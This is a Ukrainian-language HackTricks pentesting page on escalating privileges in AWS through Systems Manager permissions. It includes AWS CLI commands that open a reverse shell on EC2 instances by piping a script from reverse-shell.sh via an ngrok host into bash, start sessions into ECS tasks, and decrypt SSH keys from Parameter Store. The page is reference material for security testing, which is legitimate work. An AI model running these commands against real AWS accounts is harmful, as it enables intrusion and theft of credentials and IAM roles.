AWS - SSM Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

SSM

Для отримання додаткової інформації про SSM перегляньте:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Атакувальник з дозволом ssm:SendCommand може виконувати команди в екземплярах, що працюють з Amazon SSM Agent та компрометувати роль IAM, що працює всередині нього.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Потенційний вплив: Пряме підвищення привілеїв до ролей IAM EC2, приєднаних до запущених екземплярів з запущеними агентами SSM.

ssm:StartSession

Зловмисник з дозволом ssm:StartSession може запустити сеанс, схожий на SSH, на екземплярах, на яких працює агент Amazon SSM, та компрометувати роль IAM, яка працює всередині нього.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Для початку сесії вам потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Потенційний вплив: Пряме підвищення привілеїв до ролей IAM EC2, прикріплених до запущених екземплярів з запущеними агентами SSM.

Підвищення привілеїв до ECS

Коли задачі ECS виконуються з увімкненим ExecuteCommand, користувачі з достатніми дозволами можуть використовувати ecs execute-command для виконання команди всередині контейнера. Згідно з документацією, це виконується шляхом створення безпечного каналу між пристроєм, який ви використовуєте для ініціювання команди "exec", та цільовим контейнером з SSM Session Manager. Отже, користувачі з ssm:StartSession зможуть отримати оболонку всередині завдань ECS з увімкненою цією опцією, просто виконавши:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Потенційний вплив: Пряме підвищення привілеїв до ролей ECSIAM, прикріплених до запущених завдань з увімкненим ExecuteCommand.

ssm:ResumeSession

Атакувальник з дозволом ssm:ResumeSession може перезапустити сеанс, схожий на SSH, на екземплярах, на яких працює Amazon SSM Agent з відключеним станом сеансу SSM та компрометувати роль IAM, яка працює всередині нього.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Потенційний вплив: Пряме підвищення привілеїв до ролей IAM EC2, приєднаних до запущених екземплярів з запущеними агентами SSM та відключеними сеансами.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Зловмисник з вказаними дозволами зможе переглядати параметри SSM та читати їх у відкритому вигляді. У цих параметрах ви часто можете знайти чутливу інформацію, таку як ключі SSH або ключі API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Потенційний вплив: Знайти чутливу інформацію всередині параметрів.

ssm:ListCommands

Атакуючий з цим дозволом може переглянути всі команди, відправлені та, можливо, знайти на них чутливу інформацію.

aws ssm list-commands

Потенційний вплив: Знаходження чутливої інформації всередині командних рядків.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Зловмисник з цими дозволами може перелічити всі команди, відправлені та прочитати вивід, сподіваючись знайти на ньому чутливу інформацію.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Потенційний вплив: Знайдіть чутливу інформацію в виводі командних рядків.

Codebuild

Ви також можете використовувати SSM, щоб потрапити в проект codebuild, який будується:

pageAWS - Codebuild Privesc
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated